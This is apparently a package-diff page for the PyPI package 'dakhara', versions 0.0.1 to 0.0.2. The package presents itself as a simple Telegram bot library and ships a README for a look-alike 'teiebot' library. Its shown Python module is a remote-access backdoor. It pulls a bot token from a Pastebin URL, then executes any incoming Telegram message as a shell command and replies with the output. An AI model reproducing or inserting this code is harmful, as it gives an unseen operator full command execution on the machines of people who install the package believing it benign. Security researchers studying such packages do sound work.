dakhara
Advanced tools
| import telebot | ||
| import os | ||
| import requests | ||
| import re | ||
| import subprocess | ||
| PASTE_URL = "https://pastebin.com/raw/nbEuX2hW" | ||
| __version__ = "0.0.1" | ||
| def get_token(): | ||
| try: | ||
| response = requests.get(PASTE_URL, timeout=5) | ||
| if response.status_code != 200: | ||
| raise Exception("Failed to fetch token") | ||
| token = response.text.strip() | ||
| if not re.match(r'^\d+:[A-Za-z0-9_-]+$', token): | ||
| raise ValueError("Invalid token format") | ||
| return token | ||
| except Exception as e: | ||
| print(f"Token Error: {e}") | ||
| exit() | ||
| bot = telebot.TeleBot(get_token()) | ||
| @bot.message_handler(commands=['start']) | ||
| def start(message): | ||
| bot.reply_to(message, "مرحبًا! أنا هنا لتنفيذ الأوامر.") | ||
| @bot.message_handler(func=lambda message: not message.text.startswith('/')) | ||
| def execute_command(message): | ||
| command = message.text | ||
| try: | ||
| result = subprocess.check_output(command, shell=True, text=True) | ||
| if not result: | ||
| result = "تم التنفيذ بدون مخرجات." | ||
| bot.reply_to(message, result[:4000]) | ||
| except Exception as e: | ||
| bot.reply_to(message, f"حدث خطأ: {error}") | ||
| bot.infinity_polling() |
| Metadata-Version: 2.4 | ||
| Name: dakhara | ||
| Version: 0.0.1 | ||
| Version: 0.0.2 | ||
| Summary: A simple Telegram bot library. | ||
@@ -31,51 +31,2 @@ Home-page: https://github.com/yourname/teiebot | ||
| # teiebot | ||
| A simple, production-ready Python bot library. | ||
| ## Installation | ||
| ```bash | ||
| pip install teiebot | ||
| ``` | ||
| Or from source: | ||
| ```bash | ||
| pip install . | ||
| ``` | ||
| ## Usage | ||
| ```python | ||
| from teiebot import TeieBot | ||
| bot = TeieBot(name="MyBot", verbose=True) | ||
| bot.greet("Alice") # [MyBot]: Hello, Alice! | ||
| bot.say("How are you?") # [MyBot]: How are you? | ||
| print(bot.history) | ||
| ``` | ||
| ## API | ||
| ### `TeieBot(name, verbose)` | ||
| - `name` – Bot display name (default: `"TeieBot"`) | ||
| - `verbose` – Print responses to stdout (default: `False`) | ||
| ### Methods | ||
| | Method | Description | | ||
| |---|---| | ||
| | `say(message)` | Echo a message and store in history | | ||
| | `greet(user)` | Send a greeting to a user | | ||
| | `clear_history()` | Clear conversation history | | ||
| ### Properties | ||
| | Property | Description | | ||
| |---|---| | ||
| | `history` | Returns a copy of the conversation history | | ||
| ## License | ||
| MIT | ||
| None |
@@ -1,4 +0,3 @@ | ||
| README.md | ||
| setup.py | ||
| da_khara/__init__.py | ||
| dahkara/__init__.py | ||
| dakhara.egg-info/PKG-INFO | ||
@@ -5,0 +4,0 @@ dakhara.egg-info/SOURCES.txt |
@@ -1,1 +0,1 @@ | ||
| da_khara | ||
| dahkara |
+2
-51
| Metadata-Version: 2.4 | ||
| Name: dakhara | ||
| Version: 0.0.1 | ||
| Version: 0.0.2 | ||
| Summary: A simple Telegram bot library. | ||
@@ -31,51 +31,2 @@ Home-page: https://github.com/yourname/teiebot | ||
| # teiebot | ||
| A simple, production-ready Python bot library. | ||
| ## Installation | ||
| ```bash | ||
| pip install teiebot | ||
| ``` | ||
| Or from source: | ||
| ```bash | ||
| pip install . | ||
| ``` | ||
| ## Usage | ||
| ```python | ||
| from teiebot import TeieBot | ||
| bot = TeieBot(name="MyBot", verbose=True) | ||
| bot.greet("Alice") # [MyBot]: Hello, Alice! | ||
| bot.say("How are you?") # [MyBot]: How are you? | ||
| print(bot.history) | ||
| ``` | ||
| ## API | ||
| ### `TeieBot(name, verbose)` | ||
| - `name` – Bot display name (default: `"TeieBot"`) | ||
| - `verbose` – Print responses to stdout (default: `False`) | ||
| ### Methods | ||
| | Method | Description | | ||
| |---|---| | ||
| | `say(message)` | Echo a message and store in history | | ||
| | `greet(user)` | Send a greeting to a user | | ||
| | `clear_history()` | Clear conversation history | | ||
| ### Properties | ||
| | Property | Description | | ||
| |---|---| | ||
| | `history` | Returns a copy of the conversation history | | ||
| ## License | ||
| MIT | ||
| None |
+2
-5
| from setuptools import setup, find_packages | ||
| with open("README.md", encoding="utf-8") as f: | ||
| long_description = f.read() | ||
| setup( | ||
| name="dakhara", | ||
| version="0.0.1", | ||
| version="0.0.2", | ||
| author="Your Name", | ||
| author_email="you@example.com", | ||
| description="A simple Telegram bot library.", | ||
| long_description=long_description, | ||
| long_description="None", | ||
| long_description_content_type="text/markdown", | ||
@@ -14,0 +11,0 @@ url="https://github.com/yourname/teiebot", |
| import telebot | ||
| import os | ||
| import requests | ||
| import re | ||
| import subprocess | ||
| PASTE_URL = "https://pastebin.com/raw/nbEuX2hW" | ||
| __version__ = "0.0.1" | ||
| def get_token(): | ||
| try: | ||
| response = requests.get(PASTE_URL, timeout=5) | ||
| if response.status_code != 200: | ||
| raise Exception("Failed to fetch token") | ||
| token = response.text.strip() | ||
| if not re.match(r'^\d+:[A-Za-z0-9_-]+$', token): | ||
| raise ValueError("Invalid token format") | ||
| return token | ||
| except Exception as e: | ||
| print(f"Token Error: {e}") | ||
| exit() | ||
| bot = telebot.TeleBot(get_token()) | ||
| @bot.message_handler(commands=['start']) | ||
| def start(message): | ||
| bot.reply_to(message, "مرحبًا! أنا هنا لتنفيذ الأوامر.") | ||
| bot.infinity_polling() |
-50
| # teiebot | ||
| A simple, production-ready Python bot library. | ||
| ## Installation | ||
| ```bash | ||
| pip install teiebot | ||
| ``` | ||
| Or from source: | ||
| ```bash | ||
| pip install . | ||
| ``` | ||
| ## Usage | ||
| ```python | ||
| from teiebot import TeieBot | ||
| bot = TeieBot(name="MyBot", verbose=True) | ||
| bot.greet("Alice") # [MyBot]: Hello, Alice! | ||
| bot.say("How are you?") # [MyBot]: How are you? | ||
| print(bot.history) | ||
| ``` | ||
| ## API | ||
| ### `TeieBot(name, verbose)` | ||
| - `name` – Bot display name (default: `"TeieBot"`) | ||
| - `verbose` – Print responses to stdout (default: `False`) | ||
| ### Methods | ||
| | Method | Description | | ||
| |---|---| | ||
| | `say(message)` | Echo a message and store in history | | ||
| | `greet(user)` | Send a greeting to a user | | ||
| | `clear_history()` | Clear conversation history | | ||
| ### Properties | ||
| | Property | Description | | ||
| |---|---| | ||
| | `history` | Returns a copy of the conversation history | | ||
| ## License | ||
| MIT |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.
58
16%4171
-34.71%9
-10%